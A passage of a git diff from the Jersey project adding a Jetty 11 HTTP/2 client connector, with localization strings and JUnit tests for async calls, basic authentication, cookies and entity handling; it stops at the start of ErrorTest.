copy to connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
index dd25372..960bbb6 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,8 @@
* SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
*/
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
+ * Jetty Client.
+ */
+package org.glassfish.jersey.jetty.http2.connector;
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
similarity index 64%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
index 2886c72..b219ef9 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties
@@ -14,5 +14,8 @@
# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
#
-# {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+# {0} - HTTP method, e.g. GET, DELETE
+method.not.supported=Method {0} not supported.
+invalid.configurable.component.type=The supplied component "{0}" is not assignable from Jersey11Client or JerseyWebTarget.
+expected.connector.provider.not.used=The supplied component is not configured to use a Jetty11ConnectorProvider.
+not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
new file mode 100644
index 0000000..76ef67b
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.hamcrest.Matchers;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Logger;
+
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AsyncTest extends JerseyTest {
+ private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
+ private static final String PATH = "async";
+
+ /**
+ * Asynchronous test resource.
+ */
+ @Path(PATH)
+ public static class AsyncResource {
+ /**
+ * Typical long-running operation duration.
+ */
+ public static final long OPERATION_DURATION = 1000;
+
+ /**
+ * Long-running asynchronous post.
+ *
+ * @param asyncResponse async response.
+ * @param id post request id (received as request payload).
+ */
+ @POST
+ public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
+ LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
+ try {
+ Thread.sleep(OPERATION_DURATION);
+ return "DONE-" + id;
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return "INTERRUPTED-" + id;
+ } finally {
+ LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
+ }
+ }
+ }, "async-post-runner-" + id).start();
+ }
+
+ /**
+ * Long-running async get request that times out.
+ *
+ * @param asyncResponse async response.
+ */
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+ .entity("Operation time out.").build());
+ }
+ });
+ asyncResponse.setTimeout(1, TimeUnit.SECONDS);
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
+ .entity("Operation time out.").build());
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
+ // simulated using sleep()
+ try {
+ Thread.sleep(5 * OPERATION_DURATION);
+ return "DONE";
+ } catch (InterruptedException e) {
+ Thread.currentThread().interrupt();
+ return "INTERRUPTED";
+ } finally {
+ LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
+ }
+ }
+ }).start();
+ }
+
+ }
+
+ @Override
+ protected Application configure() {
+ return new ResourceConfig(AsyncResource.class)
+ .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ /**
+ * Test asynchronous POST.
+ *
+ * Send 3 async POST requests and wait to receive the responses. Check the response content and
+ * assert that the operation did not take more than twice as long as a single long operation duration
+ * (this ensures async request execution).
+ *
+ * @throws Exception in case of a test error.
+ */
+ @Test
+ public void testAsyncPost() throws Exception {
+ final long tic = System.currentTimeMillis();
+
+ // Submit requests asynchronously.
+ final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
+ final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
+ final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
+ // get() waits for the response
+ final String r1 = rf1.get().readEntity(String.class);
+ final String r2 = rf2.get().readEntity(String.class);
+ final String r3 = rf3.get().readEntity(String.class);
+
+ final long toc = System.currentTimeMillis();
+
+ assertEquals("DONE-1", r1);
+ assertEquals("DONE-2", r2);
+ assertEquals("DONE-3", r3);
+
+ assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
+ }
+
+ /**
+ * Test accessing an operation that times out on the server.
+ *
+ * @throws Exception in case of a test error.
+ */
+ @Test
+ public void testAsyncGetWithTimeout() throws Exception {
+ final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
new file mode 100644
index 0000000..5daad2d
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class AuthFilterTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ }
+
+ @Test
+ public void testAuthGetWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testAuthPostWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().post(Entity.text("POST"));
+ assertEquals("POST", response.readEntity(String.class));
+ }
+
+
+ @Test
+ public void testAuthDeleteWithClientFilter() {
+ client().register(HttpAuthenticationFeature.basic("name", "password"));
+ Response response = target("test/filter").request().delete();
+ assertEquals(204, response.getStatus());
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
new file mode 100644
index 0000000..7fe2edf
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.eclipse.jetty.client.util.BasicAuthentication;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class AuthTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
+ private static final String PATH = "test";
+
+ @Path("/test")
+ @Singleton
+ public static class AuthResource {
+
+ int requestCount = 0;
+
+ @GET
+ public String get(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return "GET";
+ }
+
+ @GET
+ @Path("filter")
+ public String getFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return "GET";
+ }
+
+ @POST
+ public String post(@Context HttpHeaders h, String e) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+
+ return e;
+ }
+
+ @POST
+ @Path("filter")
+ public String postFilter(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+
+ @DELETE
+ public void delete(@Context HttpHeaders h) {
+ requestCount++;
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ assertEquals(1, requestCount);
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ } else {
+ assertTrue(requestCount > 1);
+ }
+ }
+
+ @DELETE
+ @Path("filter")
+ public void deleteFilter(@Context HttpHeaders h) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+ }
+
+ @DELETE
+ @Path("filter/withEntity")
+ public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
+ String value = h.getRequestHeaders().getFirst("Authorization");
+ if (value == null) {
+ throw new WebApplicationException(
+ Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
+ }
+
+ return e;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(AuthResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testAuthGet() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().get();
+ assertEquals("GET", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthPost() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
+ assertEquals("POST", response.readEntity(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testAuthDelete() {
+ ClientConfig config = new ClientConfig();
+ config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
+ new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+
+ Response response = client.target(getBaseUri()).path(PATH).request().delete();
+ assertEquals(response.getStatus(), 204);
+ client.close();
+ }
+
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
new file mode 100644
index 0000000..eb1c653
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.JerseyClient;
+import org.glassfish.jersey.client.JerseyClientBuilder;
+import org.glassfish.jersey.jetty.connector.JettyClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.Cookie;
+import jakarta.ws.rs.core.HttpHeaders;
+import jakarta.ws.rs.core.NewCookie;
+import jakarta.ws.rs.core.Response;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class CookieTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
+
+ @Path("/")
+ public static class CookieResource {
+ @GET
+ public Response get(@Context HttpHeaders h) {
+ Cookie c = h.getCookies().get("name");
+ String e = (c == null) ? "NO-COOKIE" : c.getValue();
+ return Response.ok(e)
+ .cookie(new NewCookie("name", "value")).build();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(CookieResource.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Test
+ public void testCookieResource() {
+ ClientConfig config = new ClientConfig();
+ config.connectorProvider(new JettyHttp2ConnectorProvider());
+ Client client = ClientBuilder.newClient(config);
+ WebTarget r = client.target(getBaseUri());
+
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+ client.close();
+ }
+
+ @Test
+ public void testDisabledCookies() {
+ ClientConfig cc = new ClientConfig();
+ cc.property(JettyClientProperties.DISABLE_COOKIES, true);
+ cc.connectorProvider(new JettyHttp2ConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+
+ final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
+ if (connector.getCookieStore() != null) {
+ assertTrue(connector.getCookieStore().getCookies().isEmpty());
+ } else {
+ assertNull(connector.getCookieStore());
+ }
+ client.close();
+ }
+
+ @Test
+ public void testCookies() {
+ ClientConfig cc = new ClientConfig();
+ cc.connectorProvider(new JettyHttp2ConnectorProvider());
+ JerseyClient client = JerseyClientBuilder.createClient(cc);
+ WebTarget r = client.target(getBaseUri());
+
+ assertEquals("NO-COOKIE", r.request().get(String.class));
+ assertEquals("value", r.request().get(String.class));
+
+ final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector();
+ assertNotNull(connector.getCookieStore().getCookies());
+ assertEquals(1, connector.getCookieStore().getCookies().size());
+ assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+ client.close();
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
new file mode 100644
index 0000000..369169a
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.ClientResponseContext;
+import jakarta.ws.rs.client.ClientResponseFilter;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.container.ContainerRequestFilter;
+import jakarta.ws.rs.container.ContainerResponseContext;
+import jakarta.ws.rs.container.ContainerResponseFilter;
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
+ ClientRequestFilter, ClientResponseFilter {
+
+ static int preFilterCalled = 0;
+ static int postFilterCalled = 0;
+
+ @Override
+ public void filter(ClientRequestContext context) throws IOException {
+ System.out.println("CustomLoggingFilter.preFilter called");
+ assertEquals("bar", context.getConfiguration().getProperty("foo"));
+ preFilterCalled++;
+ }
+
+ @Override
+ public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
+ System.out.println("CustomLoggingFilter.postFilter called");
+ assertEquals("bar", context.getConfiguration().getProperty("foo"));
+ postFilterCalled++;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext context) throws IOException {
+ System.out.println("CustomLoggingFilter.preFilter called");
+ assertEquals("bar", context.getProperty("foo"));
+ preFilterCalled++;
+ }
+
+ @Override
+ public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
+ System.out.println("CustomLoggingFilter.postFilter called");
+ assertEquals("bar", context.getProperty("foo"));
+ postFilterCalled++;
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
new file mode 100644
index 0000000..0f508ca
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jackson.JacksonFeature;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.xml.bind.annotation.XmlRootElement;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class EntityTest extends JerseyTest {
+
+ private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
+
+ private static final String PATH = "test";
+
+ @Path("/test")
+ public static class EntityResource {
+
+ @GET
+ public Person get() {
+ return new Person("John", "Doe");
+ }
+
+ @POST
+ public Person post(Person entity) {
+ return entity;
+ }
+
+ }
+
+ @XmlRootElement
+ public static class Person {
+
+ private String firstName;
+ private String lastName;
+
+ public Person() {
+ }
+
+ public Person(String firstName, String lastName) {
+ this.firstName = firstName;
+ this.lastName = lastName;
+ }
+
+ public String getFirstName() {
+ return firstName;
+ }
+
+ public void setFirstName(String firstName) {
+ this.firstName = firstName;
+ }
+
+ public String getLastName() {
+ return lastName;
+ }
+
+ public void setLastName(String lastName) {
+ this.lastName = lastName;
+ }
+
+ @Override
+ public String toString() {
+ return firstName + " " + lastName;
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ return config;
+ }
+
+ @Override
+ protected void configureClient(ClientConfig config) {
+ config.connectorProvider(new JettyHttp2ConnectorProvider())
+ .register(JacksonFeature.class);
+ }
+
+ @Test
+ public void testGet() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testGetAsync() throws ExecutionException, InterruptedException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPost() {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+
+ @Test
+ public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
+ Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
+ .post(Entity.xml(new Person("John", "Doe"))).get();
+ Person person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
+ .get();
+ person = response.readEntity(Person.class);
+ assertEquals("John Doe", person.toString());
+ }
+}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
new file mode 100644
index 0000000..64d8198
--- /dev/null
+++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
